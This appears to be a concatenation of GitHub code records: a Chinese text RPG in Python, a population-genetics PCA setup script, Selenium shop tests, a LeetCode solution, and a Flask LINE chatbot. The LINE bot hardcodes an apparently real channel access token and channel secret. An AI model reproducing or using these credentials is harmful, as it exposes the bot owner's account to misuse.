1\r\n else:\r\n BAG_List[str(MTDP[MTLB[self.rm]][dpn])] = int(\r\n BAG_List[str(MTDP[MTLB[self.rm]][0])]) + 1\r\n print('你获得了' + str(MTDP[MTLB[self.rm]][dpn]))\r\n return 1\r\n else:\r\n print('你没有获得任何物品!')\r\n return 1\r\n elif 20 >= abs(int(fun) - int(fun_1)) > 10:\r\n dp = random.randint(0, 100)\r\n if dp <= 70:\r\n for dpn in range(0, len(MTDP[MTLB[self.rm]])):\r\n if str(MTDP[MTLB[self.rm]][dpn]) not in BAG_List:\r\n BAG_List[str(MTDP[MTLB[self.rm]][dpn])] = 1\r\n else:\r\n BAG_List[str(MTDP[MTLB[self.rm]][dpn])] = int(\r\n BAG_List[str(MTDP[MTLB[self.rm]][0])]) + 1\r\n print('你获得了' + str(MTDP[MTLB[self.rm]][dpn]))\r\n return 1\r\n else:\r\n print('你没有获得任何物品!')\r\n return 1\r\n elif 50 >= abs(int(fun) - int(fun_1)) > 20:\r\n dp = random.randint(0, 100)\r\n if dp <= 40:\r\n for dpn in range(0, len(MTDP[MTLB[self.rm]])):\r\n if str(MTDP[MTLB[self.rm]][dpn]) not in BAG_List:\r\n BAG_List[str(MTDP[MTLB[self.rm]][dpn])] = 1\r\n else:\r\n BAG_List[str(MTDP[MTLB[self.rm]][dpn])] = int(\r\n BAG_List[str(MTDP[MTLB[self.rm]][0])]) + 1\r\n print('你获得了' + str(MTDP[MTLB[self.rm]][dpn]))\r\n return 1\r\n else:\r\n print('你没有获得任何物品!')\r\n return 1\r\n elif 80 >= abs(int(fun) - int(fun_1)) > 50:\r\n dp = random.randint(0, 100)\r\n if dp <= 20:\r\n for dpn in range(0, len(MTDP[MTLB[self.rm]])):\r\n if str(MTDP[MTLB[self.rm]][dpn]) not in BAG_List:\r\n BAG_List[str(MTDP[MTLB[self.rm]][dpn])] = 1\r\n else:\r\n BAG_List[str(MTDP[MTLB[self.rm]][dpn])] = int(\r\n BAG_List[str(MTDP[MTLB[self.rm]][0])]) + 1\r\n print('你获得了' + str(MTDP[MTLB[self.rm]][dpn]))\r\n return 1\r\n else:\r\n print('你没有获得任何物品!')\r\n return 1\r\n break\r\n else:\r\n print('你的背包太满了,先扔点什么吧。')\r\n return 1\r\n else:\r\n\r\n if ma > DF: # 若怪物攻击》玩家防御\r\n print('\\033[0m' + MTLB[self.rm] + str(random.choice(MATSE)) + '你' + str(\r\n random.choice(MATSE_1)) + ' 造成了' + str(\r\n (ma - DF)) + '点伤害!') # 打印信息\r\n HP = HP - ma + DF # 玩家扣血\r\n if ma <= DF: # 若怪物伤害无法破防\r\n print('\\033[0m' + MTLB[self.rm] + str(random.choice(MATSE)) + '你' + str(\r\n random.choice(MATSE_1)) + ' 未造成伤害!')\r\n # 未造成伤害\r\n if HP / HP_MAX >= 0.9:\r\n print('\\033[1;32m你看起来毫发无损,精神抖擞\\n \\n ')\r\n elif 0.7 <= HP / HP_MAX < 0.9:\r\n print('\\033[1;33m你看起来受了点轻伤,不过不成大碍\\n \\n ')\r\n elif 0.5 <= HP / HP_MAX < 0.7:\r\n print('\\033[1;34m你气喘吁吁,大汗淋漓\\n \\n')\r\n elif 0.3 <= HP / HP_MAX < 0.5:\r\n print('\\033[1;31m你摇摇欲坠,就快要倒下了\\n \\n ')\r\n elif HP / HP_MAX < 0.3:\r\n print('\\033[1;35m你的鲜血四溅,离死不远了\\n \\n')\r\n\r\n if HP <= 0:\r\n print('你失败了! 你对' + MTLB[self.rm] + '总共造成了' + str(c_pa) + '点伤害!')\r\n print('请升级再战!')\r\n HV = HV - 6 # 扣饥饿\r\n break\r\n\r\n def woods(self):\r\n global fun\r\n fun = random.randint(0, 100)\r\n global HP\r\n global EXP\r\n global AT\r\n global HV\r\n global if_run\r\n global menpai_can\r\n if place == '树林':\r\n if AT <= 4:\r\n print('你蹑手蹑脚地走进森林,等待着猎物的出现')\r\n else:\r\n print('你大摇大摆地走进森林,这里的野兽已经不足为惧')\r\n print('等待中.', end='')\r\n rm = random.randint(0, 5)\r\n while rm:\r\n time.sleep(1) # 等待怪物\r\n print('.', flush=True)\r\n rm -= 1\r\n if LV < 5:\r\n rm = str(random.randint(0, 3)) # 随机怪物\r\n ml = str(random.randint(1, (int(LV) + 2))) # 随机怪物等级\r\n me = int(ml) * 1.5 # 怪物经验\r\n mh = int(ml) * 10 # 怪物血量\r\n elif LV == 5:\r\n rm = '4'\r\n ml = 6\r\n me = 50\r\n mh = 1000\r\n elif 10 > LV > 5:\r\n print('你已经不适合在这种小地方呆着了,出去闯荡吧')\r\n return 1\r\n else:\r\n print('宁搁这儿玩儿呢?')\r\n return 1\r\n else:\r\n print('这儿似乎没有什么可以让你打的')\r\n return 1\r\n fight_o = Fight('woods')\r\n fight_o.fight_output(ml, rm, me)\r\n\r\n # def runAway(self):\r\n # global if_run\r\n # in2 = input('')\r\n # if in2 == '/r':\r\n # if_run = True\r\n # else:\r\n # if_run = False\r\n\r\n def fight(self): # 战斗界面\r\n if HV <= 2:\r\n print('你饿得快要昏过去了,你应该找点东西填饱肚子再说。')\r\n else:\r\n if self.place == '树林':\r\n f1 = threading.Thread(target=Fight.woods, args=('',))\r\n # f1_run = threading.Thread(target=Fight.runAway, args=('',))\r\n f1.start()\r\n # f1_run.start()\r\n else:\r\n print('这儿似乎没有什么可以让你打的')\r\n print('\\033[1;33m 提示:使用go n/s/w/e 在地图中行走,map打开地图\\033[0m')\r\n\r\n\r\ndef bag():\r\n global fun\r\n fun = random.randint(0, 100)\r\n bag_p = PrettyTable()\r\n bag_p.field_names = ['名称', '数量']\r\n if bool(BAG_List):\r\n for bag_key in list(FDLB.keys()):\r\n if bag_key in list(BAG_List.keys()):\r\n if int(BAG_List[bag_key]) == 0:\r\n del BAG_List[bag_key]\r\n else:\r\n bag_p.add_row([bag_key, int(BAG_List[bag_key])])\r\n for bag_key in list(ETLY.keys()):\r\n if bag_key in list(BAG_List.keys()):\r\n if int(BAG_List[bag_key]) == 0:\r\n del BAG_List[bag_key]\r\n else:\r\n bag_p.add_row([bag_key, int(BAG_List[bag_key])])\r\n else:\r\n pass\r\n print('\\033[1;33m')\r\n print(bag_p)\r\n print('\\033[0m')\r\n print('use <物品名> 可以使用物品')\r\n else:\r\n print('你嘛都没有')\r\n\r\n\r\ndef use_things(name):\r\n global fun\r\n fun = random.randint(0, 100)\r\n global HV\r\n global HP\r\n global HP_MAX\r\n global HV_MAX\r\n global DF\r\n global AT\r\n global head\r\n global body\r\n global leg\r\n global foot\r\n global hand\r\n\r\n if name in list(BAG_List.keys()) and name in list(FDLB.keys()) and int(BAG_List[name]) >= 1:\r\n BAG_List[name] = int(BAG_List[name]) - 1\r\n if HP + FDLB[name][1] < HP_MAX:\r\n HP = HP + FDLB[name][1]\r\n print('你用' + name + '回复了\\033[1;34m' + str(FDLB[name][1]) + '\\033[0m点生命')\r\n elif HP + FDLB[name][1] >= HP_MAX:\r\n HP = HP_MAX\r\n print('\\033[1;33m你重新变得神采奕奕!\\033[0m')\r\n if HV + FDLB[name][0] < HV_MAX:\r\n HV = HV + FDLB[name][0]\r\n print('你用' + name + '回复了\\033[1;34m' + str(FDLB[name][0]) + '\\033[0m点饥饿值')\r\n elif HV + FDLB[name][0] >= HV_MAX:\r\n HV = HV_MAX\r\n print('\\033[1;33m你的肚子被填饱了\\033[0m')\r\n for k in list(BAG_List.keys()):\r\n if not BAG_List[k]:\r\n BAG_List.pop(k)\r\n elif name in list(ETLY.keys()) and name in list(BAG_List.keys()) and int(BAG_List[name]) >= 1:\r\n BAG_List[name] = int(BAG_List[name]) - 1\r\n if ETLY[name][1] == 'head':\r\n head = name\r\n DF = int(ETLY[head][0]) + int(ETLY[body][0]) + int(ETLY[foot][0]) + int(ETLY[leg][0]) # 防御值计算(利用字典\r\n print('你装备了' + str(name))\r\n elif ETLY[name][1] == 'body':\r\n body = name\r\n DF = int(ETLY[head][0]) + int(ETLY[body][0]) + int(ETLY[foot][0]) + int(ETLY[leg][0]) # 防御值计算(利用字典\r\n print('你装备了' + str(name))\r\n elif ETLY[name][1] == 'leg':\r\n leg = name\r\n DF = int(ETLY[head][0]) + int(ETLY[body][0]) + int(ETLY[foot][0]) + int(ETLY[leg][0]) # 防御值计算(利用字典\r\n print('你装备了' + str(name))\r\n elif ETLY[name][1] == 'foot':\r\n foot = name\r\n DF = int(ETLY[head][0]) + int(ETLY[body][0]) + int(ETLY[foot][0]) + int(ETLY[leg][0]) # 防御值计算(利用字典\r\n print('你装备了' + str(name))\r\n elif ETLY[name][1] == 'sword' or ETLY[name][1] == 'knife':\r\n AT -= int(ETLY[hand][0]) # 减去原有额外攻击\r\n hand = name\r\n print('你装备了' + str(name))\r\n AT += int(ETLY[hand][0]) # 增加攻击\r\n for k in list(BAG_List.keys()):\r\n if not BAG_List[k]:\r\n BAG_List.pop(k)\r\n else:\r\n print('你没有介玩意儿!')\r\n\r\n\r\ndef shop_sl(): # 售卖菜单\r\n global shop_enter\r\n if shop_enter == 0:\r\n if AT <= 10:\r\n print('你走进了店铺,里面人满为患,不乏一些强大的气息。你决定低调一点')\r\n shop_enter = 1\r\n else:\r\n print('你大摇大摆地走进店铺,挤开了许多顾客')\r\n shop_enter = 1\r\n else:\r\n pass\r\n shop_sl_p = PrettyTable()\r\n shop_sl_p.field_names = ['名称', '描述', '售卖价']\r\n for sell_name in list(shop_sell_list.keys()):\r\n shop_sl_p.add_row([str(sell_name), shop_sell_list[sell_name][0], shop_sell_list[sell_name][1]])\r\n\r\n print(shop_sl_p)\r\n shop_enter = 0\r\n\r\n\r\ndef shop_s(thing):\r\n global coin\r\n if type(thing) == str:\r\n if str(thing) in list(shop_sell_list.keys()):\r\n if coin >= shop_sell_list[str(thing)][1]:\r\n if str(thing) in list(BAG_List.keys()):\r\n BAG_List[str(thing)] = BAG_List[str(thing)] + 1\r\n else:\r\n BAG_List[str(thing)] = 1\r\n coin = coin - shop_sell_list[thing][1]\r\n print('你购买了\\033[1;32m' + str(thing) + '\\033[0m')\r\n else:\r\n print('太可怜了,你居然连这个都买不起')\r\n else:\r\n print('店小二想了想:这里没有这种东西,您去别的地方看看吧')\r\n\r\n\r\ndef shop_rl(): # 回收菜单\r\n global shop_enter\r\n if shop_enter == 0:\r\n if AT <= 10:\r\n print('你走进了店铺,里面人满为患,不乏一些强大的气息。你决定低调一点')\r\n shop_enter = 1\r\n else:\r\n print('你大摇大摆地走进店铺,挤开了许多顾客')\r\n shop_enter = 1\r\n else:\r\n pass\r\n shop_rl_p = PrettyTable()\r\n shop_rl_p.field_names = ['名称', '描述', '回收价']\r\n for name_r in list(shop_recycle_list.keys()):\r\n shop_rl_p.add_row([str(name_r), shop_recycle_list[name_r][0], shop_recycle_list[name_r][1]])\r\n\r\n print(shop_rl_p)\r\n shop_enter = 0\r\n\r\n\r\ndef shop_r(thing):\r\n global coin\r\n if str(thing) in list(shop_recycle_list.keys()):\r\n if str(thing) in list(BAG_List.keys()) and int(BAG_List[thing]) > 0:\r\n BAG_List[thing] = BAG_List[thing] - 1\r\n coin = coin + shop_recycle_list[thing][1]\r\n print('你把' + str(thing) + '递给了店小二,他高兴地给了你' + str(shop_recycle_list[thing][1]) + '个铜钱')\r\n else:\r\n print('你掏了掏背包,你似乎没有这种东西')\r\n else:\r\n print('店小二似乎不认识这种东西')\r\n\r\n\r\ndef shop():\r\n global shop_enter\r\n if AT <= 10:\r\n print('你走进了店铺,里面人满为患,不乏一些强大的气息。你决定低调一点')\r\n shop_enter = 1\r\n else:\r\n print('你大摇大摆地走进店铺,挤开了许多顾客')\r\n shop_enter = 1\r\n print('店小二递给你了回收菜单和出售菜单:')\r\n print('回收菜单:')\r\n shop_rl()\r\n time.sleep(0.5)\r\n print('出售菜单:')\r\n shop_sl()\r\n\r\n\r\ndef move(direction):\r\n global place\r\n if str(direction) == 'n':\r\n if place_l[place][0] == '无' or '':\r\n print('那边没路了')\r\n elif place == '树林':\r\n pass\r\n else:\r\n place = place_l[place][0]\r\n print('你来到了\\033[1;33m' + place + '\\033[0m')\r\n\r\n elif str(direction) == 'e':\r\n if place_l[place][1] == '无' or '':\r\n print('那边没路了')\r\n else:\r\n place = place_l[place][1]\r\n print('你来到了\\033[1;33m' + place + '\\033[0m')\r\n\r\n elif str(direction) == 's':\r\n if place_l[place][2] == '无' or '':\r\n print('那边没路了')\r\n else:\r\n place = place_l[place][2]\r\n print('你来到了\\033[1;33m' + place + '\\033[0m')\r\n\r\n elif str(direction) == 'w':\r\n if place_l[place][3] == '无' or '':\r\n print('那边没路了')\r\n else:\r\n place = place_l[place][3]\r\n print('你来到了\\033[1;33m' + place + '\\033[0m')\r\n\r\n else:\r\n print('咋地?你想上哪儿去?')\r\n\r\n\r\ndef bbq(thing):\r\n if coin >= 3:\r\n if thing in list(BAG_List.keys()) and BAG_List[thing] >= 1:\r\n BAG_List[thing] = int(BAG_List[thing]) - 1\r\n if '烤' + thing in list(BAG_List.keys()):\r\n BAG_List['烤' + thing] += 1\r\n else:\r\n BAG_List['烤' + thing] = 1\r\n else:\r\n print('人家可不免费给你食材')\r\n else:\r\n print('太可怜了,你居然连这个都吃不起')\r\n\r\n\r\ndef menpai_list_out(property):\r\n if property == 'k':\r\n menpai_kind_p = PrettyTable()\r\n for menpai_k in range(0, len(list(menpai_list_kind.keys()))):\r\n menpai_kind_p.field_names = ['序号', '门派']\r\n menpai_kind_p.add_row([str(menpai_k + 1), menpai_list_kind[str(menpai_k + 1)]])\r\n print(menpai_kind_p)\r\n if property == 'n':\r\n menpai_neutral_p = PrettyTable()\r\n for menpai_n in range(0, len(list(menpai_list_neutral.keys()))):\r\n menpai_neutral_p.field_names = ['序号', '门派']\r\n menpai_neutral_p.add_row([str(menpai_n + 1), menpai_list_neutral[str(menpai_n + 1)]])\r\n print(menpai_neutral_p)\r\n if property == 'e':\r\n menpai_evil_p = PrettyTable()\r\n for menpai_e in range(0, len(list(menpai_list_evil.keys()))):\r\n menpai_evil_p.field_names = ['序号', '门派']\r\n menpai_evil_p.add_row([str(menpai_e + 1), menpai_list_evil[str(menpai_e + 1)]])\r\n print(menpai_evil_p)\r\n\r\n\r\ndef exp(number):\r\n global EXP\r\n EXP = EXP + number\r\n\r\n\r\ndef AT_add(number):\r\n global AT\r\n AT = AT + number\r\n\r\n\r\ndef DF_add(number):\r\n global DF\r\n DF = DF + number\r\n\r\n\r\ndef cedn(): # 总检测\r\n global HP\r\n global HP_MAX\r\n global place\r\n global fi_enter\r\n global menpai\r\n global auto_save_time\r\n try:\r\n in1 = input('\\033[0m>')\r\n if in1 == 'help':\r\n operation()\r\n if in1 == 'pc' or in1 == 'personal centre':\r\n pc()\r\n if in1 == 'f' or in1 == 'fight':\r\n fight = Fight(str(place))\r\n fight.fight()\r\n if in1 == 'bag':\r\n bag()\r\n if 'use' in in1:\r\n use_things(in1[4:])\r\n if 'debug' in in1:\r\n if in1[7:8] == 'AT':\r\n AT_add(int(in1[10:]))\r\n if in1[7:8] == 'DF':\r\n DF_add(int(in1[10:]))\r\n if in1[7:9] == 'EXP':\r\n exp(int(in1[11:]))\r\n if 'help ' in in1:\r\n if str(in1[5:]) in FDLB:\r\n print(str(in1[4:]) + '的数据:')\r\n print('回复' + str(FDLB[str(in1[5:])][0]) + '点饱食')\r\n print('回复' + str(FDLB[str(in1[5:])][1]) + '点气血')\r\n elif str(in1[5:]) in ETLY:\r\n print(str(in1[4:]) + '的数据:')\r\n print('提升' + str(ETLY[str(in1[5:])][0]) + '点防御/攻击')\r\n else:\r\n print('目前道途中没有您所说的物品~')\r\n if in1 == 'version':\r\n f = open('ChangeLog.md', 'r', encoding='utf-8')\r\n while True:\r\n line = f.readline()\r\n\r\n if len(line) == 0:\r\n break\r\n\r\n print(line, end='')\r\n if in1 == 'map':\r\n f = open('map.txt', 'r', encoding='utf-8')\r\n while True:\r\n line = f.readline()\r\n\r\n if len(line) == 0:\r\n break\r\n\r\n print(line, end='')\r\n print('\\n你现在位于\\033[1;31m', place, '\\n')\r\n\r\n if in1 == 'shop':\r\n shop()\r\n if in1 == 'buy l':\r\n shop_sl()\r\n if in1 == 'rec l':\r\n shop_rl()\r\n if 'rec' in in1 and 'l' not in in1:\r\n number = re.compile(r'\\d')\r\n rec_if = number.search(str(in1))\r\n if rec_if:\r\n for i in range(0, int(rec_if.group())):\r\n shop_r(re.sub(r'[^\\u4e00-\\u9fa5]', '', in1))\r\n else:\r\n shop_r(re.sub(r'[^\\u4e00-\\u9fa5]', '', in1))\r\n if 'buy' in in1 and 'l' not in in1:\r\n shop_s(in1[4:])\r\n if in1 == 'save':\r\n save = Archive(name, password)\r\n save.save_Archive()\r\n print('存档完毕,可退出')\r\n if in1 == 'rf':\r\n imp.load_compiled('Userconfig.py')\r\n print('读档成功')\r\n if 'go ' in in1:\r\n # print(place)\r\n if len(in1) > 5: # 判断输入字符串长度\r\n for i in range(0, int(in1[5:])): # 重复执行\r\n move(in1[3:4])\r\n else: # 若未输入数字\r\n move(in1[3:]) # 只执行一次\r\n # print(place)\r\n if place == '熟食铺':\r\n if not fi_enter:\r\n print('\\033[0m这里肉香漫天,你忍不住咽了咽口水')\r\n print('输入fi <物品名>烤肉(收费三铜币)')\r\n fi_enter = True\r\n else:\r\n pass\r\n if 'fi' in in1 and place == '熟食铺':\r\n bbq(in1[3:])\r\n elif 'fi' in in1 and place != '熟食铺':\r\n print('你想了想糊成碳的烤肉,还是决定去熟食铺烹饪')\r\n if 'go n' in in1 and place == '树林':\r\n if menpai_can:\r\n place = '门派接待使者'\r\n else:\r\n print('你的功力太低了,人家看不上你')\r\n if place == '门派接待使者':\r\n menpai_admit_enter = True\r\n if menpai_admit_enter:\r\n if len(menpai) == 0:\r\n print('\\033[0m一位慈祥的老人走过来')\r\n print('‘小兄弟,你可否想过闯荡江湖?’')\r\n time.sleep(2)\r\n print('我现在给你一个机会,你可以加入任意一个门派')\r\n time.sleep(2)\r\n print('注:输入k打开正派列表,n打开中庸列表,e打开邪门列表')\r\n time.sleep(1)\r\n menpai_goodAndEvil = input('你想救国济民,还是闯荡江湖,亦或者天下唯我独尊?')\r\n time.sleep(2)\r\n if menpai_goodAndEvil == 'k':\r\n print('\\033[1;32m 你的心中升起一股浩然正气,你决定投身于名门正派\\033[0m')\r\n time.sleep(1)\r\n menpai_list_out('k')\r\n print('注:输入序号决定门派')\r\n menpai_choose = input('你想加入哪个门派?')\r\n menpai = menpai_list_kind[str(menpai_choose)]\r\n print('你加入了\\033[1;32m', menpai, '\\033[0m')\r\n elif menpai_goodAndEvil == 'n':\r\n print('\\033[1;33m 你想了想,还是中庸之道最适合自己')\r\n time.sleep(1)\r\n menpai_list_out('n')\r\n print('注:输入序号决定门派')\r\n menpai_choose = input('你想加入哪个门派?')\r\n menpai = menpai_list_neutral[str(menpai_choose)]\r\n print('你加入了\\033[1;33m', menpai, '\\033[0m')\r\n elif menpai_goodAndEvil == 'e':\r\n print('\\033[1;31m你嘿嘿一笑,令人毛骨悚然。你决定加入江湖邪派')\r\n time.sleep(1)\r\n menpai_list_out('e')\r\n print('注:输入序号决定门派')\r\n menpai_choose = input('你想加入哪个门派?')\r\n menpai = menpai_list_evil[str(menpai_choose)]\r\n print('你加入了\\033[1;31m', menpai, '\\033[0m')\r\n menpai_admit_enter = False\r\n else:\r\n print('背叛师门不是件好事')\r\n else:\r\n pass\r\n if HP <= 0:\r\n HP = 0\r\n time.sleep(1)\r\n print('你吐出一大口鲜血,倒在地上抽搐几下就死了。')\r\n time.sleep(2)\r\n print('你来到了鬼门关')\r\n place = '鬼门关'\r\n print('白无常伸出长长长的舌头舔了舔手指')\r\n time.sleep(1)\r\n print('‘新来的,你叫什么名字?’')\r\n time.sleep(2)\r\n print('白无常死死盯着你,仿佛要把你的一切都看穿')\r\n time.sleep(3)\r\n print('白无常眉头紧蹙:阳寿未尽?怎么可能!')\r\n time.sleep(2)\r\n print('白无常叹了口气:罢了罢了,你走吧')\r\n time.sleep(3)\r\n print('你摇摇晃晃的站了起来,仿佛做了一场梦')\r\n place = '中央广场'\r\n HP = int(HP_MAX / 100)\r\n print(HP)\r\n BAG_List.clear()\r\n if in1 == 'exit':\r\n exit()\r\n if 'autosave ' in in1:\r\n auto_save_time = int(in1[8:])\r\n save = Archive(name, password)\r\n save.save_Archive()\r\n except Exception as e:\r\n print('\\033[1;31m发生错误!')\r\n print('错误信息:%s' % e)\r\n print('输入指令: %s' % in1)","repo_name":"Aolin-py/IMMORTAL","sub_path":"def_.py","file_name":"def_.py","file_ext":"py","file_size_in_byte":42540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"29233922642","text":"#taken from fixIndivPopulation.ipynb\n# adapting from running \n# qp3Pop -p parfile_qp3Pop_UAE_ME > qp3Pop_UAE_ME.log &\n# in PCA_gencall/AdmixTools directory\n# assume this script is called in a subdir to YemenGenomeAnalysis (was PCA_gencall)\nimport sys\nimport pandas as pd\nfrom collections import Counter\n\nbase, context, threshold = sys.argv[-3:]\nthreshold = int(threshold)\n\nparfileText = f\"\"\"genotypename: {base}.geno\nsnpname: {base}.snp\nindivname: {base}.ind\nevecoutname: {base}.pcs.txt\nevaloutname: {base}.pve.txt\npoplistname: %s\nlsqproject: %s\n\"\"\"\n#8001717\ndef prepParameterFiles(otherPops, lsqproject=\"YES\", popfilename='popfile.txt', parameterFile='param_pca', dry=False):\n with open(popfilename, 'w') as popfile:\n for pop in otherPops:\n print(pop, file=popfile)\n with open(parameterFile, 'w') as parfile:\n print(parfileText % (popfilename, lsqproject), file=parfile)\n cmd = f\"smartpca -p {parameterFile} > smartpca.log\"\n print(cmd)\n\ndef readReich(reichset, contemporaryOnly=False, QC=False):\n if reichset=='1240K':\n columns2keep = [1,9, 12, 14, 15, 16]\n elif reichset=='HO':\n columns2keep = [1, 5, 7, 9, 10, 11]\n columnNames = 'Id Date Group_Label Country Lat Long'.split()\n reich=pd.read_csv(f\"../Reich/v44.3_{reichset}_public.anno\", sep='\\t')\n reich = reich.iloc[:,columns2keep]\n reich.columns = columnNames\n\n if QC:\n reich = reich[~reich.Group_Label.str.startswith(\"Ignore_\")]\n reich = reich[~reich.Group_Label.str.endswith(\"_outlier\")]\n if contemporaryOnly:\n reich = reich[reich.Date==0]\n return reich\n\ndef line2pop(line):\n fields = line.split()\n f = fields[0]\n if f.startswith('urn:wtsi'):\n f = '_'.join(f.split('_')[2:])\n region = meta['Population'].get(f, 'Not found')\n if region=='Control' or region == 'Not found':\n #print(region, line.rstrip(), file=sys.stderr)\n pass\n return f, region\n\ndef findSolidPops(indfile):\n data = [line2pop(line) for line in open(indfile)] \n return Counter(list(zip(*data))[1])\n\nyemenMeta = pd.read_csv('../Metadata/yemenPopulations.csv', index_col='Id')\n\nif not context=='hgdp':\n reich = readReich(context, QC=True, contemporaryOnly=True)\n reich = reich[['Id', 'Group_Label']].set_index('Id')\n reich.columns = ['Population'] \nelse:\n hgdpMeta = pd.read_csv(\"../HGDP/HGDPid_populations.csv.gz\")\n hgdpMeta = hgdpMeta[['Id', 'population']].set_index('Id') \n hgdpMeta.columns=['Population']\n reich = hgdpMeta\n\n## Yemen Metadata\n\nmeta = pd.concat([yemenMeta, reich])\n\n#opops = [pop for pop, count in Counter(meta.Population).items() if (not pop.startswith('Ignore') and count>=threshold)]\n\nopops = [pop for pop, count in findSolidPops(f\"{base}.ind\").items() if count>=threshold and pop in set(meta.Population)] #use only contemporary populations for spanning the PCs\n\nprepParameterFiles(opops)\n \n","repo_name":"HenschelLab/YemenPopGen","sub_path":"Scripts/preparePopsPCA.py","file_name":"preparePopsPCA.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21181092917","text":"import time\nimport pytest\n\nfrom .pages.basket_page import BasketPage\nfrom .pages.main_page import MainPage\nfrom .pages.login_page import LoginPage\nfrom .pages.product_page import ProductPage\nlink =\"http://selenium1py.pythonanywhere.com/catalogue/the-shellcoders-handbook_209/\"\nlink1 = \"http://selenium1py.pythonanywhere.com/\"\nclass TestGuestAndUserAddProductToBasketAndGoToLoginPage:\n\n\n def test_user_can_add_product_to_basket(self, browser):\n email = (str(time.time())) + \"@fakemail.org\"\n password = str((time.time()) +20)\n page = MainPage(browser, link1)\n page.open()\n page.go_to_login_page()\n login_page = LoginPage(browser, browser.url)\n login_page.register_new_user(email, password)\n login_page.should_be_authorized_user()\n product = ProductPage(browser, link)\n product.open()\n product.add_to_cart_foo()\n product.item_added_to_cart()\n product.item_added_to_cart_right()\n\n\n def test_guest_can_add_product_to_basket(self, browser):\n product = ProductPage(browser, link)\n product.open()\n product.add_to_cart_foo()\n product.item_added_to_cart()\n product.item_added_to_cart_right()\n\n\n def test_guest_cant_see_product_in_basket_opened_from_product_page(self,browser):\n page = ProductPage(browser, link)\n page.open()\n page.go_to_basket_page()\n basket_page = BasketPage(browser, browser.url)\n basket_page.should_be_basket_page()\n\n @pytest.mark.need_review\n def test_guest_can_go_login_link_from_product_page(self, browser):\n page = ProductPage(browser, link)\n page.open()\n page.should_be_login_link()\n page.add_to_cart_foo()\n page.item_added_to_cart()\n page.go_to_login_page()\n login_page = LoginPage(browser, browser.url)\n login_page.should_be_login_page()\n\n @pytest.mark.need_review\n def test_guest_can_go_login_link_from_product_page_add_item_to_basket(self, browser):\n\n page = ProductPage(browser, link)\n page.open()\n page.should_be_login_link()\n page.add_to_cart_foo()\n page.item_added_to_cart()\n page.go_to_login_page()\n login_page = LoginPage(browser, browser.url)\n login_page.should_be_login_page()\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Vivioza5/experimentsFrameworksSplinter","sub_path":"test_product_page.py","file_name":"test_product_page.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14107568533","text":"class Solution:\n def gridGame(self, grid: List[List[int]]) -> int:\n N = len(grid[0])\n preRow1 = grid[0].copy()\n preRow2 = grid[1].copy()\n \n for i in range(1, N):\n preRow1[i] += preRow1[i - 1]\n preRow2[i] += preRow2[i - 1]\n \n print(preRow1, preRow2)\n res = float(\"inf\")\n \n for i in range(N):\n top = preRow1[-1] - preRow1[i]\n bottom = preRow2[i - 1] if i > 0 else 0\n secondRobot = max(top, bottom)\n res = min(res, secondRobot)\n \n print(top)\n print(bottom)\n \n return res\n \n # O(N) time\n # O(N) space\n","repo_name":"justinyoonsk/Leetcode","sub_path":"2017_grid_game.py","file_name":"2017_grid_game.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20653753389","text":"from flask import Flask, request, abort\r\n\r\nfrom linebot import (\r\n LineBotApi, WebhookHandler\r\n)\r\nfrom linebot.exceptions import (\r\n InvalidSignatureError\r\n)\r\nfrom linebot.models import *\r\n\r\napp = Flask(__name__)\r\n\r\n# Channel Access Token\r\nline_bot_api = LineBotApi('1bQnym3SrZ8xpxNSCAEHfoz9ak01Z5rxcyvSRD2GiaXs62xxNjWV9IXef0Bo1SlndyroOpSyx/Yd5eOfXltMFk39Gaz5ybbnyvnsD13ljBPENhqwjRTKmrUptiFr04PiGcDM+V9Nbmh7PreGwe9WDgdB04t89/1O/w1cDnyilFU=')\r\n# Channel Secret\r\nhandler = WebhookHandler('96ce5c52eeddbec9448ff852389f017a')\r\n\r\n# 監聽所有來自 /callback 的 Post Request\r\n@app.route(\"/callback\", methods=['POST'])\r\ndef callback():\r\n # get X-Line-Signature header value\r\n signature = request.headers['X-Line-Signature']\r\n # get request body as text\r\n body = request.get_data(as_text=True)\r\n app.logger.info(\"Request body: \" + body)\r\n # handle webhook body\r\n try:\r\n handler.handle(body, signature)\r\n except InvalidSignatureError:\r\n abort(400)\r\n return 'OK'\r\n###========================================\r\n#關鍵字系統\r\ndef Keyword(event):\r\n KeyWordDict = {\"你好\":[\"text\",\"你也好啊\"],\r\n \"你是誰\":[\"text\",\"才不告訴逆雷\"],\r\n \"帥\":[\"sticker\",'1','120'],\r\n \"捷運\":[\"img\",\"https://web.metro.taipei/img/all/routemap2018.jpg\"],\r\n \"!1-5\":[\"text\",\"1輕母+3驅逐or海防\"]\r\n \r\n }\r\n\r\n for k in KeyWordDict.keys():\r\n if event.message.text.find(k) != -1:\r\n if KeyWordDict[k][0] == \"text\":\r\n line_bot_api.reply_message(event.reply_token,TextSendMessage(text = KeyWordDict[k][1]))\r\n elif KeyWordDict[k][0] == \"sticker\":\r\n line_bot_api.reply_message(event.reply_token,StickerSendMessage(\r\n package_id=KeyWordDict[k][1],\r\n sticker_id=KeyWordDict[k][2]))\r\n elif KeyWordDict[k][0] == \"img\":\r\n line_bot_api.reply_message(event.reply_token,\r\n ImageSendMessage(\r\n original_content_url=KeyWordDict[k][1],\r\n preview_image_url=KeyWordDict[k][1]\r\n )\r\n )\r\n return True\r\n return False\r\n\r\n#按鈕版面系統\r\n'''\r\ndef Button(event):\r\n line_bot_api.reply_message(event.reply_token,\r\n TemplateSendMessage(\r\n alt_text='特殊訊息,請進入手機查看',\r\n template=ButtonsTemplate(\r\n thumbnail_image_url='https://pic.pimg.tw/bwyd67/1471350593-2114545014.jpg',\r\n title='有沒有認真聽報告?',\r\n text='還不快點選擇',\r\n actions=[\r\n PostbackTemplateAction(\r\n label='有',\r\n data='有'\r\n ),\r\n MessageTemplateAction(\r\n label='沒有',\r\n text='沒有'\r\n ),\r\n URITemplateAction(\r\n label='google',\r\n uri='https://www.google.com.tw/'\r\n )\r\n ]\r\n )\r\n )\r\n 